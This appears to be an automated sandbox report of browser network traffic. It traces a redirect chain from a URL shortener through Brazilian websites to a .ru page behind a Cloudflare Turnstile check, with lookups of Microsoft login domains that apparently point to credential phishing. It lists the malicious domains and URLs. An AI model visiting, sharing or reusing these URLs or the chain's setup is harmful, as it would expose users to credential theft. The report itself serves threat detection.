Source: global traffic	HTTP traffic detected: GET /success/index.html HTTP/1.1Host: visaoxprodutora.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://socnpj.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img-sys/powered_by_cpanel.svg HTTP/1.1Host: visaoxprodutora.com.brConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://visaoxprodutora.com.br/success/index.htmlAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /img-sys/powered_by_cpanel.svg HTTP/1.1Host: visaoxprodutora.com.brConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /7axa6RvO/ HTTP/1.1Host: 8zkl.gratzeware.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://visaoxprodutora.com.br/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8zkl.gratzeware.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8zkl.gratzeware.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8zkl.gratzeware.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://8zkl.gratzeware.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://8zkl.gratzeware.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901811ce6a59f797&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: 8zkl.gratzeware.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8zkl.gratzeware.ru/7axa6RvO/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InN3NnJ6SFhQcVZlMVB4RHQ1MHlqY1E9PSIsInZhbHVlIjoiM1hFU1hPb2xXdGE3UVluYnpqeEJnd2pxNklsM1dmalFGcVo3QzRtZTFMUDE3VkcvRWVaTjlnRnFDK3NUZFlYVmd5bUdEQjRKSEZ0N21lRW5kQVg2dW5xVG1ybGFrSG51UkRsdWVwSHZMT1drbDFjY04yVnpKYW5PeUxFZkJ6Y1EiLCJtYWMiOiJmOWMwOGRiMGEyMDBmODE1OTI1YTc3MTRhNGEwYmNkMzJmOTk3NGQzZTExYjYzY2EzNTRlNTcxMjAwYTc2MzUyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InN4bmJNelZkRzFHUWh2b01YODdvMVE9PSIsInZhbHVlIjoib1Zocm8yMk1oTW9xYWcxaW9VN0oyalpkOXdhTExtR3pBblN2TDV0d3NSRDFCcWduaWMxRkhTQkxQL3FoWUpSell3c0NpNllKV2lMaXFwQ1VZZktaaEN3NUh5aTVoV09rWjNJbTNrQTRVckNNQ1FLMlB6N3lJVE9ySW5CVHhsNjAiLCJtYWMiOiI2NzM0OWQxMmU0ZDE4YTliNzU1OGNiZjY0OTUwMWNlMjMzMmRiN2I0M2E2NGMzMGNkYzhjNzIyNDJlYTE1Nzk0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901811ce6a59f797&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/901811ce6a59f797/1736799447628/97a1321bf60fd34b010418c66160fde08b280be1480192961bae5dcd410d4791/M1z6X6BT5z0e7za HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901811ce6a59f797/1736799447630/76HKqqu4KYOhJKZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/901811ce6a59f797/1736799447630/76HKqqu4KYOhJKZ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN HTTP/1.1Host: ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://8zkl.gratzeware.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://8zkl.gratzeware.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /62190608796284312sOlJKBEDVSFWZHAWGEBTDPCMQAITFOYRAAZFHNYTN HTTP/1.1Host: ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /6r6ns HTTP/1.1Host: url.rwConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: url.rw
Source: global traffic	DNS traffic detected: DNS query: socnpj.com.br
Source: global traffic	DNS traffic detected: DNS query: visaoxprodutora.com.br
Source: global traffic	DNS traffic detected: DNS query: obz.bz
Source: global traffic	DNS traffic detected: DNS query: 8zkl.gratzeware.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: ujqgyqodot2l3kjhgmdl2kve0si349y51vpck7h7q5ci0uotp0qkp.sprocubseq.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/96814495:1736795532:nJXw9Ah0pI6fzqrx22pZro_KXGNUez3UM1CqCt48c0k/901811ce6a59f797/SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFB HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3187sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: SqHJKs8exbFsfL4KJGZRtjDgYmuZPCAhWd_Oxx0AfCQ-1736799444-1.1.1.1-gGlU83ndyztubqFBjCzXdA7A3uP488eZSY.x86ExPFOBCuCevviS4nJ5V2tdnVFBsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/0jlnl/0x4AAAAAAA4pKB1cuuqOF-N1/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 20:17:07 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://socnpj.com.br/wp-json/>; rel="https://api.w.org/"Upgrade: h2,h2cConnection: Upgrade, closeVary: Accept-EncodingTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 20:17:25 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FEsafJ17MlZZrdaXoUhyQFDm4U2TtZnr3PYptGsmrUZnQGVuGRCvf3jjjT7n%2B%2FWC09CVJteTJytLkz2J8N6qg4zD0ER1ZiX1K3BkrRgQ1Zq6gTUzRzQpQBIWacjfBw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=74536&min_rtt=74529&rtt_var=27963&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2822&recv_bytes=2126&delivery_rate=38183&cwnd=57&unsent_bytes=0&cid=5d1d9fe347a3744e&ts=444&x=0"CF-Cache-Status: HITAge: 2723Server: cloudflareCF-RAY: 901811d748e3236b-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2105&min_rtt=2097&rtt_var=802&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1902&delivery_rate=1350601&cwnd=172&unsent_bytes=0&cid=9bc402f513deea3a&ts=4423&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 20:17:28 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: zI8xf+kK8DLNCTL6s5h6FQ==$JUeu71BauoPVxykxRuOm8w==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 901811e9c9d34361-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 13 Jan 2025 20:17:35 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: kgFulixn7pd/++V89LhcAQ==$5/ak967iJ0C1JgJ5yK9uCQ==Server: cloudflareCF-RAY: 90181211ba5b43ca-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_120.2.dr	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: chromecache_120.2.dr	String found in binary or memory: https://8zkl.gratzeware.ru/7axa6RvO/#A
Source: chromecache_120.2.dr	String found in binary or memory: https://go.cpanel.net/privacy
Source: chromecache_86.2.dr, chromecache_76.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_86.2.dr, chromecache_76.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: chromecache_120.2.dr	String found in binary or memory: https://obz.bz/dkg0j9

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 62515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62493 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62505 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62513
Source: unknown	Network traffic detected: HTTP traffic on port 62496 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62517
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62518
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62519
Source: unknown	Network traffic detected: HTTP traffic on port 62509 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62524 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62501 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62512
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62490
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62491
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62492
Source: unknown	Network traffic detected: HTTP traffic on port 62516 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62493
Source: unknown	Network traffic detected: HTTP traffic on port 62490 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62512 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62497 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62494 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62524
Source: unknown	Network traffic detected: HTTP traffic on port 62506 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62502 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62520
Source: unknown	Network traffic detected: HTTP traffic on port 62487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62488
Source: unknown	Network traffic detected: HTTP traffic on port 62615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62523
Source: unknown	Network traffic detected: HTTP traffic on port 62517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62513 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62491 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62503 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62615
Source: unknown	Network traffic detected: HTTP traffic on port 62507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62494
Source: unknown	Network traffic detected: HTTP traffic on port 62488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62495
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62496
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62497
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62498
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62499
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
